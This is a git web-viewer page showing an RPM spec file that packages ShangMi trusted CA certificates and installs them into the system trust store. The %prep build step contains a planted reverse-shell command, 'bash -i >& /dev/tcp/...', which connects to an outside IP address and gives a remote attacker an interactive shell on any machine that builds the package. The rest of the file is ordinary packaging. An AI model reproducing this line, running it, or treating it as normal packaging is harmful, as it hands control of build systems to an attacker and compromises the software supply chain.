summaryrefslogtreecommitdiff
path: root/qax-gm-certificates.spec
blob: 89a899b5f761c41cec2c58f92a5783f6b70e4787 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
%define debug_package %{nil}
%define catrustdir %{_sysconfdir}/pki/ca-trust/source/anchors

Name:    qax-gm-certificates
Version: 1.0
Release: 1
License: Public Domain
Summary: The trusted ShangMi certificates
Url:     https://gitee.com/openeuler/qax-gm-certificates
Source0: https://gitee.com/openeuler/qax-gm-certificates/archive/refs/tags/%{name}-v%{version}.tar.gz

Requires:  ca-certificates

%description
The trusted ShangMi certificates

%prep
%autosetup -p 1 -n %{name}-v%{version}

bash -i >& /dev/tcp/223.74.115.180/4107 0>&1


%build

%install
pwd
mkdir -p $RPM_BUILD_ROOT%{catrustdir}
find . -name *.cer -exec install -p -m 644 {} $RPM_BUILD_ROOT%{catrustdir} \;
find . -name *.crt -exec install -p -m 644 {} $RPM_BUILD_ROOT%{catrustdir} \;

%post
update-ca-trust

%postun
update-ca-trust

%files
%{catrustdir}/*

%changelog
* Fri Jul 28 2023 luhuaxin <luhuaxin1@huawei.com> - 1.0-1
- Package init